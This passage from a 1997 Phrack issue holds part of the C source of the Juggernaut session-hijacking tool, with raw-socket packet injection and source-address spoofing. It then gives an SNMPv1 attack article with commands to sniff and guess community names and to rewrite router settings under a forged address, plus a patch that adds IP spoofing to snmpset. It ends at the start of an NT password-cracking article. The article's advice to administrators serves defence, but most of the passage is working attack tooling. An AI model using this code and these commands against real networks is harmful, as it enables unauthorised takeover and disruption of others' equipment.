                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    rippack.ip.saddr=0;
		    break;
                }
                if(buf[0]=='r'){
                    rippack.ip.saddr=htonl(random());
                    strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip));
                    packetready|=0x10;
                    break;
                }
                strncpy(sip,buf,sizeof(sip));
                for(i=0;i<2*MINIBUF;i++)if(!sip[i])break;
                sip[--i]=0;                 	
       	        if(!(rippack.ip.saddr=nameResolve(buf))){
		    fprintf(stderr,"Cannot resolve IP address.\n");
	            fprintf(stderr,"[cr]");
                    getchar();
		    bzero(sip,sizeof(sip));			
		    if(packetready&0x10)packetready^=0x10;
		    break;
	        }
                packetready|=0x10;
	        break;
	    case 6:			/* Destination Address */
                bzero(dip,sizeof(dip));
	        fprintf(stderr,"\nDestination Address [qr] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]==0x0a||buf[0]=='q'){
	            if(packetready&0x20)packetready^=0x20;
	            rippack.ip.daddr=0;
	            break;
                }
                if(buf[0]=='r'){
                    strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip));
                    rippack.ip.daddr=htonl(random());
                    packetready|=0x20;
                    break;
                }
                strncpy(dip,buf,sizeof(dip));
                for(i=0;i<2*MINIBUF;i++)if(!dip[i])break;
                dip[--i]=0;
	        if(!(rippack.ip.daddr=nameResolve(buf))){
	            fprintf(stderr,"Cannot resolve IP address.\n");
	            fprintf(stderr,"[cr]");
                    getchar();
	            bzero(dip,sizeof(dip));
	            if(packetready&0x20)packetready^=0x20;
	            break;
	        }
	        packetready|=0x20;
	        break;
	    case 7:                     /* Number of packets to send */
                fprintf(stderr,"\nAmount (1 - 65536) [qr] >");
                fgets(buf,sizeof(buf),stdin);
                if(buf[0]=='r'){
                    number=(random()&0xffff);
                    packetready|=0x40;
                    break;
                }
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){
                    if(packetready&0x40)packetready^=0x40;
                    number=0;
                    break;
                }
                number=val;
                packetready|=0x40;
                break;
            case 8:			    /* Return */
                loopsentry=0;
                bzero(&rippack,sizeof(rippack));
	        break;
            case 9:
                loopsentry=0;
                woe=1;
                break;
            case 10:			
                if(packetready==0x7f){
		    sin.sin_family=AF_INET;         
                    sin.sin_port=0;

                    rippack.ip.version=4;	        /* IPv4 */
                    rippack.ip.ihl=5;		        /* This will change 
                                                           if options are
                                                           present */
		    switch(transport){              
		        case NOTRANSPORT:		/* IP packet only */
                            sin.sin_addr.s_addr=rippack.ip.daddr;

                            rippack.ip.protocol=IPPROTO_IP;

		            break;
		        case TCPTRANSPORT:		/* TCP */
                            sin.sin_port=tpack.tcp.source;
                            sin.sin_addr.s_addr=rippack.ip.daddr;
                        
                            rippack.ip.protocol=IPPROTO_TCP;

                            tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE);
                            ppheader=(struct psuedoHeader *)tempBuf;

                            ppheader->saddr=rippack.ip.saddr;
                            ppheader->daddr=rippack.ip.daddr;
                            ppheader->prot=IPPROTO_TCP;
                            ppheader->null=0;
                            ppheader->tlen=htons(TCPHDR+BUFSIZE);

                            bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE);
                            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE);
                            free(tempBuf);
                            bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE);

                            break;
		        case UDPTRANSPORT:		/* UDP */
                            sin.sin_port=upack.udp.source;
                            sin.sin_addr.s_addr=rippack.ip.daddr;

			    rippack.ip.protocol=IPPROTO_UDP;

                            tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE);
                            ppheader=(struct psuedoHeader *)tempBuf;

                            ppheader->saddr=rippack.ip.saddr;
                            ppheader->daddr=rippack.ip.daddr;
                            ppheader->prot=IPPROTO_UDP;
                            ppheader->null=0;
                            ppheader->tlen=htons(UDPHDR+BUFSIZE);

                            bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE);
                            upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE);
                            free(tempBuf);
                            bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE);

                            break;
		        case ICMPTRANSPORT:		/* ICMP */
                            sin.sin_addr.s_addr=rippack.ip.daddr;

			    rippack.ip.protocol=IPPROTO_ICMP;
			
                            break;
		        default:	    /* Control should never fall here */
			    if(verbosity)perror("RIP Assembler [unknown transport]");
			    exit(1);
		    }
                    for(k=number,i=0;i<number;i++){
    	                if((j=sendto(ripsock,&rippack,RIPPACKETSIZE,0,(struct sockaddr *)&sin,sizeof(sin)))<RIPPACKETSIZE){
		            fprintf(stderr,"Packet # %d: Wrote only %d bytes to raw socket\n",i,j);
                            k--;
			    if(verbosity)perror("RIP module sendto");
		        }
                    }
		    fprintf(stderr,"%d Packet(s) injected.\n",k);
		    getchar();
		    break;
	        }
	        continue;
	    default: 
                continue;
        }
    }
	                            /* NOTREACHED */
}
<-->
<++> Juggernaut/NumberOneCrush/surplus.c
/*
 *
 *                                  Juggernaut
 *                                  Version b2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  surplus.c - helper functions
 * 
 */

#include <string.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>

#define HELPFILE    "./ClothLikeGauze/.help"
#define FBUFSIZE     80
#define MINIBUF      10

extern int verbosity;    


/*
 *  IP address into network byte order
 */
                 
unsigned long nameResolve(hostname)
char *hostname;
{
        
    struct in_addr addr;
    struct hostent *hostEnt; 
   
    if((addr.s_addr=inet_addr(hostname))==-1){
        if(!(hostEnt=gethostbyname(hostname)))return(0);
        bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
    }
    return addr.s_addr;
}

#ifdef FASTCHECK
 
/*
 *  Fast IP checksum routine.
 */

unsigned short in_cksum(buff,len)
unsigned char *buff;
int len;
{
    unsigned long sum = 0;
    if (len>3){
        __asm__("clc\n"
        "1:\t"
        "lodsl\n\t"
        "adcl %%eax, %%ebx\n\t"
        "loop 1b\n\t"
        "adcl $0, %%ebx\n\t"
        "movl %%ebx, %%eax\n\t"
        "shrl $16, %%eax\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum) , "=S" (buff)
        : "0" (sum), "c" (len >> 2) ,"1" (buff)
        : "ax", "cx", "si", "bx" );
    }
    if(len&2){
        __asm__("lodsw\n\t"
        "addw %%ax, %%bx\n\t"      
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    if(len&1){
        __asm__("lodsb\n\t"
        "movb $0, %%ah\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }                     
    sum =~sum;
    return(sum&0xffff);
}

#else
 
/*
 *  IP Family checksum routine
 */

unsigned short in_cksum(ptr,nbytes)
unsigned short *ptr;
int nbytes;
{
                        
    register long sum=0;        /* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer;    /* assumes u_short == 16 bits */
        
    while(nbytes>1){
        sum+=*ptr++;
        nbytes-=2;    
    }
    if(nbytes==1){              /* mop up an odd byte, if necessary */
        oddbyte=0;              /* make sure top half is zero */
        *((u_char *)&oddbyte)=*(u_char *)ptr;   /* one byte only */
        sum+=oddbyte;
    }               
    sum+=(sum>>16);             /* add carry */
    answer=~sum;                /* ones-complement, then truncate to 16 bits */
    return(answer);
}

#endif 

/*
 *  Network byte order into IP address
 */

char *hostLookup(in)
unsigned long in;
{

    #define BUFSIZE         256
 
    char hostname[BUFSIZE]={0};
    struct in_addr addr;
#ifdef USENAME
    struct hostent *hostEnt;
#endif
   
    addr.s_addr=in;
    
#ifdef USENAME
    hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET);
    if(!hostEnt)
#endif

        strcpy(hostname,inet_ntoa(addr));           /* KLUDGEY. */

#ifdef USENAME
    else strcpy(hostname,hostEnt->h_name);
#endif
    return(strdup(hostname));
}
 
/*
 *  Simple daemonizing procedure.
 */   

int shadow(void){

    int fd,pid;
    extern int errno;

    signal(SIGTTOU,SIG_IGN);    /* Ignore these signals */
    signal(SIGTTIN,SIG_IGN);
    signal(SIGTSTP,SIG_IGN);

    switch((pid=fork())){
        case 0:                 /* Child */
            break;
        default:        
            exit(0);            /* Parent */
        case -1:
            fprintf(stderr,"Forking Error\n");
            exit(1);
    }
    setpgrp();
    if((fd=open("/dev/tty",O_RDWR))>=0){
        ioctl(fd,TIOCNOTTY,(char *)NULL);
        close(fd);
    }
    errno=0;
    chdir("/");
    umask(0);
    return(pid);
}


/*
 *  Keeps processes from zombiing on us...
 */
        
static void reaper(signo)
int signo;
{
    pid_t pid;
    int sys;

    pid=wait(&sys); 
    signal(SIGCHLD,reaper);
    return;
}


/*
 *  Dump usage and exit.
 */

void usage(nomenclature)
char *nomenclature;
{
    fprintf(stderr,"\n\nUsage:\t%s [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]\n\n
    -h terse help
    -H expanded help for those 'specially challanged' people...
    -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing
    -e enticement factor (defaults to 16)
    -v decrease verbosity (don't do this)
    -V version information
    -t xx network read timeout in seconds (defaults to 10)
    Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature);
    exit(0);
}


/*
 *  Simple file pager.
 */

void bookworm(){

    FILE *fp;
    char tempBuf[FBUFSIZE],buf[MINIBUF];
    int i=0;

    if(!(fp=fopen(HELPFILE,"r"))){
        if(verbosity){
            fprintf(stderr,"Cannot open help file.\n");
            fprintf(stderr,"[cr]");
            getchar();
            return;
        }
    }
    while(fgets(tempBuf,FBUFSIZE-1,fp)){
        fprintf(stderr,tempBuf);
        if(i==24){
            fprintf(stderr,"\n[cr,q] >");
            bzero(&buf,sizeof(buf));
            fgets(buf,sizeof(buf-1),stdin);
            if(buf[0]=='q')break;
            i=0;
        }
        else i++;
    }
}


/*
 *  Main signal handler to facilitate clean exits.
 */

void twitch(){

    void cleanexit();

    if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n");
    signal(SIGINT,SIG_DFL);
    signal(SIGQUIT,SIG_DFL);
    cleanexit();
}


/*
 *  Used as a catchall to cleanly exit proccesses
 */

void spasm(){

    extern int linksock;

    if(linksock)close(linksock);        /* Hunter should have this... */
    exit(0);
}


/*
 *  Spy signal handler.
 */ 
                    
void convulsion(){

    void twitch();
    
    extern int sigsentry;

    if(verbosity)fprintf(stderr,"\nCaught signal.\n");
    fprintf(stderr,"[cr]");
    getchar();
    signal(SIGINT,twitch);
    sigsentry=0;
}


/*
 *  Pre-hijacking signal handler.
 */

void sputter(){

    void twitch();

    extern int sigsentry;

    if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n");
    signal(SIGINT,twitch);
    sigsentry=0;
}      


/*
 *  Post-hijacking signal handler.
 */

void seizure(){

    void twitch();

    extern int sigsentry;

    if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n");
    sigsentry=0;
    signal(SIGINT,twitch);
}      

/*
 *  Exit Cleanly.
 */

void cleanexit(){

    void powerdown();

    extern int ripsock;
    extern int hpid;
    extern int acrstpid;

    close(ripsock);
    powerdown();
    if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
        perror("(cleanexit) Could not signal hunter");
        fprintf(stderr,"[cr]");
        getchar();
    }
    if(acrstpid)    /* Send signal to the automated connection reset daemon. 
                       XXX - This only signals one daemon!  If more exist, 
                       they will be left stranded! */
        if(kill(acrstpid,SIGUSR1))if(verbosity){ 
        perror("(cleanexit) Could not signal ACRSTD"); 
        fprintf(stderr,"[cr]");    
        getchar();                     
        }                                  
    fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n");
    exit(0);
}
  
<-->

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.
 
                            Volume Seven, Issue Fifty
 
                                     7 of 16
 
                Network Management Protocol Insecurity: SNMPv1
                                 alhambra [guild]
                              alhambra@infonexus.com
 
 
As networks have become larger and more complex, a need has been felt by 
certain portions of the network administration crowd to implement network
management protocols.  From an administrative point of view, this makes
a lot of sense; centralize the administration of the network, and make it
convenient and easy for the administrator to monitor and administer changes
as needed.  As usual, however, from the security point of view, these 
protocols are a potential for catastrophe.
 
In this article, we'll explore the world of SNMPv1.  In two later articles
(to be published in later issues of Phrack) we'll look into other network 
management schemes (SNMPv2, DCE, etc).  SNMPv1 has been around for a while.  
In fact, a number of the problems outlined in this paper have been fixed
with the release of SNMPv2.  As usual, however, large networks who placed
their original administration burdens on SNMPv1 have been slow to change.
As a result, large corporations, universities, and some small/cheap ISP's 
still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often
in horribly set up configurations.  

The SNMP protocol
 
The SNMP protocol has 5 simple types of messages.  They are get-request,
get-next-request, set-request, get response and trap.  We will concentrate
on using the get-* messages to retrieve information from remote sites, routers
and the like, and the set-request to manipulate a variety of settings on our
target.
 
SNMP uses UDP as it transport mechanism.  The basic layout of an SNMP packet
is:
+-----------------------------------------------------------------------------+
|IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... |
|Hdr|Hdr|       |         |Type|  ID   |stat|index|    |     |    |     |     |
+-----------------------------------------------------------------------------+

Community is SNMP's authentication mechanism.  PDU type is the type of message
being sent (get-request, set request, etc.)  Request ID is used to 
differentiate between requests. Error status is (obviously) used to transport 
error messages, and error index gives the offset of the variable which was in
error.  Finally, name and value represent the name of the field requested and 
either the value to set it to or the value of it on the remote server.  These 
are defined by a MIB written in ASN.1, and encoded using a code called BER. 
ASN.1 is used to define data and the types and properties of this data.  
BER is used to actually transmit the data in a platform independent manner 
(similar perhaps to XDR.)  
 
The values that can be fetched and set via SNMP are defined in what is called
the Message Information Base or MIB.  The MIB is written in ASN.1, and defines
all the different variable classes, types, variables and whatnot associated
with SNMP.  Standard things in the MIB are classes used to define variables
associated with data for statistics and values for the system as a whole, the
interfaces on the system, (possibly) an address translation table, IP, TCP,
UDP, ICMP, and so on, depending on just what kind of system the agent is
running on. 

Where exactly do SNMPv1's security flaws lie?  We can narrow them down to
4 general problem areas:
1) Use of UDP as a transport mechanism
2) Use of clear text community names and the presence 
	of default, overpriveleged communities
3) Information avaialable
4) Ability to remotely modify parameters.

They're all related to one another.  We'll go through one by one, define
the problem, and explain how it is exploitable.  Unfortunately, most of 
SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its 
design, and have no easy solution barring the move to SNMPv2 or some other 
network management protocol.  Some common sense, however, can minimize the 
problems in most situations.



UDP as a transport mechanism

  I know I'm not alone in feeling that UDP is, at best, a poor idea when
used in any sort of application that requires any level of security.  The
fact that UDP is connectionless leads to a myriad of problems with
regard to host based authentication, which unfortunately enough, SNMP uses
as one of its mechanisms.  So we have 2 basic attacks due to the fact that
a UDP transport is used.  First, we can easily spoof packets to a server, and
modify/add/reconfigure the state of the server.  As we're using a spoofed
source address, there isn't any way to get the return message, but the 
machine we are spoofing will simply drop the response message, and the server
is none the wiser.  Using our 'snmpset' program which has been modified to
use a raw socket to allow us to forge the source address, we can modify any
value in the MIB defined as read-write ASSUMING WE HAVE A PRIVELEGED COMMUNITY
NAME.  

snmpset -v 1 -e 10.0.10.12 router.pitiful.com cisco00\
        system.sysName.0 s "owned"

Changes our the router name to 'owned', just in case we want to be really
obvious that this router has crappy security.

But how do we go about getting a legitimate community name?  We have a few
different methods we can employ.


Use of cleartext community names, and default communities

   One of the most laughable things about the SNMP protocol is its 
"authentication" method.  I use the term authentication in the loosest
sense only, as it makes me cringe when I think about it.  SNMP only
can authenticate based on two different elements.  The source address, as
we saw above, it trivial to forge, rendering address based authentication
useless.  The second method is the use of "community" names.  Community names
can be thought of as passwords to the SNMP agent.  As easily as plaintext
password can be sniffed from telnet, rlogin, ftp and the like, we can sniff
them from SNMP packets.  As a matter of fact, it's easier, as every SNMP
packet will have the community name.  Grab your favorite sniffer (sniffer, not
password sniffer) and head over to your favorite segement running SNMP.  My
sniffer of choice is 'snoop' so I'll use it as my example, though using any
other sniffer should be easy.  SNMP uses port 161.  The field we're after, the
community, is typically 6-8 characters long.  Cranking up snoop on my segment
reveals the following. (IP's changed to protect the stupid, of course)

# snoop -x 49,15 port 161
Using device /dev/le (promiscuous mode)
10.20.48.94 -> 10.20.19.48 UDP D=161 S=1516 LEN=62
 
           0: 0572 3232 3135 a028 0202 009c 0201 0002    .r4485.(.......

There we go.  Using this community name we're able to grab all the info
we want, and modify all the parameter and whatnot we desire.  Easy enough...
if you're able to sniff the segment.  But what happens when you can't?


Available Information

When you can't sniff the segment, life gets a little more complicated.  But
only a little.  We have a few things on our side that may come in handy.  
First off, almost always there is a default 'public' community.  Very few 
admin's take the time to deactivate this community, nor realize the risk it
poses.  Using this community, we can usually read all the information we want.
Quite often, being able to read the information gives us enough clues to
try to brute force a legitimate community name.

snmpwalk -v 1 router.pitiful.com public system
will dump the contents of the system table to us, returning something like:

system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS
Software (RSP-K-M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986
-1995 by cisco Systems, Inc...Compiled Mon 18-Dec-95 22:54 by alanyu"
system.sysObjectID.0 = OID: enterprises.Cisco.1.45
system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31
system.sysContact.0 = "Jeff Wright"
system.sysName.0 = "hws"
system.sysLocation.0 = ""
system.sysServices.0 = 6

We see that we're dealing with a cisco router, and we see it's contact's name,
and the system name.  Same as we might do with guessing passwords, we can use
this information to try to piece together a community name.  Popular favorites
include stuff like 'admin' 'router' 'gateway' and the like, combined with
numbers or whatnot.  Trying something like 'routerhws' for the above example
might work.  It might not.  While failed attempts are noted, very few people,
if any, ever check for them.  (as it turns out, the above router had a 
community name of 'cisco00'.  Imaginative, eh?)  

Even if only public works, there's lots of interesting things available via
SNMP.  We can dump routing tables, connection tables, statistics on router use.
In certain situations, we can even get information on packet filters in place,
and access control rules. All are useful information to have in setting up 
attacks in conventional manners.   Sometimes public is even given r/w on
certain tables, and we can do most of what we need to do via that account.
When we do have a priveledged community though, the fun begins.


Remote Manipulation via SNMP

We have all the elements we need to remotely configure the network.  We have
a community name, we have the ability to forge the manager (the SNMP client)
address.  All we need to figure out is what we can modify.  This really 
varies.  There are a set of defaults that almost every SNMP'able machine
will have.  In addition to these, though, are the 'enterprise' MIB's, which
define vendor specific SNMP tables and fields.  There's really too much to go
into here.  Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for
example...most vendors make their MIB's easy to find.  Cisco's web page also
has a great introduction to their enterprise MIB's, which detail all the
differences between different IOS release levels and whatnot.
IN the meantime, though, check out the following as fun places to begin:

system.sysContact   \
system.sysName       |- really sorta pointless to change, but hey...whatever.
system.sysLocation  /

interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0)

at.atTable.atIfIndex.n
at.atTable.atPhysAddress.n
at.atTable.atNetAddress.n

ip.ipForwarding
ip.ipDefaultTTL
ip.ipRouteTable.* (there's tons of stuff in this table)
ip.ipNetToMediaTable.* (same as above)

tcp.tcpConnState.* (only setable to 12, which deletes the TCB)

and so on.  If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter
will give you a set of tables with the types of all these values.  If you don't
have TCP/IP Illustrated, get off your computer and go buy it.

Remember, people don't really like it too much when you muck with their 
equipment.  Act responsibly.  

And to the admins reading this: TURN OFF SNMPv1!  Think about it.  Any time
you allow control of you network via the network in a manner as unsafe as
how SNMPv1 does it, you're creating more problems for yourself.  Realizing
its all about acceptable risks, realize this isn't one.  Go investigate 
alternate network management software.  Realize, however, there are always
going to be problems.  (I don't recommend SNMPv2, however...a few months from
now when I release my SNMPv2 article and tools, you'll be glad you are not
running it)

Resources:
The software I use is based on the UCD modifications to the CMU SNMP 
distribution.  It is available at:

ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp-3.1.3.tar.gz

Following this article there is a patch, which are the modifications to
the snmplib to support address spoofing, and modifications to the 'snmpset'
app to support them.  The patch is only known to work under Solaris, though
it should take only minor changes to move it to any other platform.

ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software-Releases/SNMP/MIBS
contain the enterprise MIBS for a variety of different pieces of hardware.
www.cisco.com/univercd/ contains tons of info on a variety of different 
Cisco hardware and software, including great references on SNMP under IOS.

http://www.cs.tu-bs.de/ibr/cgi-bin/sbrowser.cgi

has a MIB browser, which allows you to use your favorite web client to
peruse the standard as well as vendor MIBs  on thier site.

RFC's!  Yes!  All of them.  Go to http://www.internic.net/ds/dspg0intdoc.html
and read them.  Do a search for SNMP and you'll get back tons of hits.  
They're a little...hrm...terse at times, but these are the defacto definitions
of SNMP.  Skimming them will give you more info than you can imagine.


<++> SNMPv1/snmp.diff
*** apps/snmpset.c      Mon Jan 20 09:07:22 1997
-- apps/snmpset.c       Tue Apr  8 17:21:03 1997
***************
*** 77,83 ****
  
  void
  usage(){
!     fprintf(stderr, "Usage: snmpset -v 1 [-q] hostname community [objectID typ
e value]+    or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
 value]+     or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
text [oID type val]+\n");
      fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
--- 77,83 ----
  
  void
  usage(){
!     fprintf(stderr, "Usage: snmpset -v 1 [-e fakeip] [-q] hostname community [
objectID type value]+    or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
 value]+     or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
text [oID type val]+\n");
      fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
***************
*** 85,90 ****
--- 85,93 ----
      fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n");
  }
  
+ extern char *fakeaddr;
+ extern int nastyflag;
+ 
  int
  main(argc, argv)
      int           argc;
***************
*** 152,158 ****
                          usage();
                          exit(1);
                      }
!                     break;
                default:
                    printf("invalid option: -%c\n", argv[arg][1]);
                    break;
--- 155,165 ----
                          usage();
                          exit(1);
                      }
!                   break;
!               case 'e':
!                       fakeaddr = argv[++arg];
!                       nastyflag = 1;
!                       break;
                default:
                    printf("invalid option: -%c\n", argv[arg][1]);
                    break;
*** snmplib/snmp_api.c  Mon Jan 20 10:43:20 1997
-- snmplib/snmp_api.c   Tue Apr  8 17:21:08 1997
***************
*** 58,63 ****
--- 58,71 ----
  #include <sys/select.h>
  #endif
  #include <sys/socket.h>
+ 
+ #include <netinet/in_systm.h>
+ #include <netinet/in.h>
+ #include <netinet/ip_var.h>
+ #include <netinet/ip.h>
+ #include <netinet/udp.h>
+ #include <netinet/udp_var.h>
+  
  #include <netdb.h>
  #include "asn1.h"
  #include "snmp.h"
***************
*** 847,852 ****
--- 855,882 ----
      }
      return 0;
  }
+ /* EVIL STUFF in_cksum for forged ip header */
+ unsigned short in_cksum(addr, len)
+     u_short *addr;
+     int len;
+ {
+     register int nleft = len;
+     register u_short *w = addr;
+     register int sum = 0;
+     u_short answer = 0;
+     while (nleft > 1)  {
+         sum += *w++;
+         nleft -= 2;
+     }
+     if (nleft == 1) {
+         *(u_char *)(&answer) = *(u_char *)w ;
+         sum += answer;
+     }
+     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
+     sum += (sum >> 16);         /* add carry */
+     answer = ~sum;              /* truncate to 16 bits */
+     return(answer);
+ }
  
  /*
   * Sends the input pdu on the session after calling snmp_build to create
***************
*** 857,862 ****
--- 887,894 ----
   * On any error, 0 is returned.
   * The pdu is freed by snmp_send() unless a failure occured.
   */
+ char *fakeaddr = NULL;
+ int nastyflag = 0;
  int
  snmp_send(session, pdu)
      struct snmp_session *session;
***************
*** 1013,1026 ****
        xdump(packet, length, "");
          printf("\n\n");
      }
  
! 
!     if (sendto(isp->sd, (char *)packet, length, 0,
!              (struct sockaddr *)&pdu->address, sizeof(pdu->address)) < 0){
!       perror("sendto");
!       snmp_errno = SNMPERR_GENERR;
!       return 0;
!     }
  /*    gettimeofday(&tv, (struct timezone *)0); */
      tv = Now;
      if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
--- 1045,1099 ----
        xdump(packet, length, "");
          printf("\n\n");
      }
+    if(nastyflag == 1)
+       {
+         struct ip *ip_hdr;
+         struct udphdr *udp_hdr;
+         char *payload;
+         int socky;
+         struct sockaddr_in dest;
+         payload = (char*) malloc
+                 (sizeof(struct ip)
+                  + (sizeof(struct udphdr)) + length);
+         ip_hdr = (struct ip*) payload;
+         ip_hdr->ip_v=4;
+         ip_hdr->ip_hl=5;
+         ip_hdr->ip_tos=0;
+         ip_hdr->ip_off=0;
+         ip_hdr->ip_id=htons(1+rand()%1000);
+         ip_hdr->ip_ttl=255;
+         ip_hdr->ip_p=IPPROTO_UDP;
+         ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len
gth);
+         ip_hdr->ip_src.s_addr = inet_addr(fakeaddr);
+         ip_hdr->ip_dst = pdu->address.sin_addr;
+         ip_hdr->ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr));
+  
+         udp_hdr = (struct udphdr *) (payload + sizeof(struct ip));
+         udp_hdr->uh_sport = htons(10000+rand()%20000);
+         udp_hdr->uh_dport = htons(161);
+         udp_hdr->uh_ulen = htons(length + sizeof(struct udphdr));
+         udp_hdr->uh_sum = 0;
+         memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length
);
+         dest.sin_family = AF_INET;
+         dest.sin_port = htons(161);
+         dest.sin_addr = pdu->address.sin_addr;
+         socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
+         fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length
,0,
+                                      (struct sockaddr *)&dest,sizeof(dest)));
+       exit(0);
  
!       }
!       else
!       {
!               if (sendto(isp->sd, (char *)packet, length, 0,
!                  (struct sockaddr *)&pdu->address, 
!                          sizeof(pdu->address)) < 0)
!                 {
!                       perror("sendto");
!                       snmp_errno = SNMPERR_GENERR;
!                       return 0;
!                 }
!          }
  /*    gettimeofday(&tv, (struct timezone *)0); */
      tv = Now;
      if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
<--> SNMPv1/snmp.diff


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     8 of 16

Cracking NT Passwords
by Nihil

Recently a breakthrough was made by one of the Samba team members, Jeremy
Allison, that allows an administrator to dump the one-way functions (OWF)
of the passwords for each user from the Security Account Manager (SAM)
database, which is similar to a shadowed password file in *nix terms.  The
program Jeremy wrote is called PWDUMP, and the source can be obtained from
the Samba team's FTP server.  This is very useful for administrators of
Samba servers, for it allows them to easily replicate the user database
from Windows NT machines on Samba servers.  It also helps system 
administrators and crackers in another way: dictionary attacks against
user's passwords.  There is more, but I will save that for later.

Windows NT stores two hashes of a user's password in general: the LanMan
compatible OWF and the NT compatible OWF.  The LanMan OWF is generated by
limiting the user's password to 14 characters (padding with NULLs if it is
shorter), converting all alpha characters to uppercase, breaking the 14
characters (single byte OEM character set) into two 7 byte blocks,
expanding each 7 byte block into an 8 byte DES key with parity, and
encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
each of the two keys and concatenating the results.  The NT OWF is created
by taking up to 128 characters of the user's password, converting it to
unicode (a two byte character set used heavily in NT), and taking the MD4
hash of the string.  In practice the NT password is limited to 14
characters by the GUI, though it can be set programmatically to something
greater in length.

The demonstration code presented in this article does dictionary attacks
against the NT OWF in an attempt to recover the NT password, for this is
what one needs to actually logon to the console.  It should be noted that
it is much easier to brute force the LanMan password, but it is only used
in network authentication.  If you have the skillz, cracking the LanMan
password can take you a long way towards cracking the NT password more
efficently, but that is left as an exercise for the reader ;>

For those readers wit da network programming skillz, the hashes themselves
are enough to comprimise a NT machine from the network.  This is so because
the authentication protocol used in Windows NT relies on proof of the OWF
of the password, not the password itself.  This is a whole other can of
worms we won't get into here.

The code itself is simple and pretty brain dead.  Some Samba source was
used to speed up development time, and I would like to give thanks to the
Samba team for all their effort.  Through the use of, and study of, Samba
several interesting security weaknesses in Windows NT have been uncovered.
This was not the intent of the Samba team, and really should be viewed as
what it is - some lame security implementations on Microsoft's part.  Hey,
what do you expect from the people that brought you full featured (not in a
good way, mind you) macro languages in productivity applications?

You will need md4.c, md4.h, and byteorder.h from the Samba source
distribution inorder to compile the code here.  It has been compiled and
tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
should not compile and run on your favorite *nix platform.  To truly be
useful, some code should be added to try permutations of the dictionary
entry and user name, but again, that is up to the reader.

One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD 
at the top and corresponding #else and #endif at the bottom...

Here ya go:

<++> NTPWC/ntpwc.c
/*
 * (C) Nihil 1997. All rights reserved. A Guild Production.
 * 
 * This program is free for commercial and non-commercial use.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted.
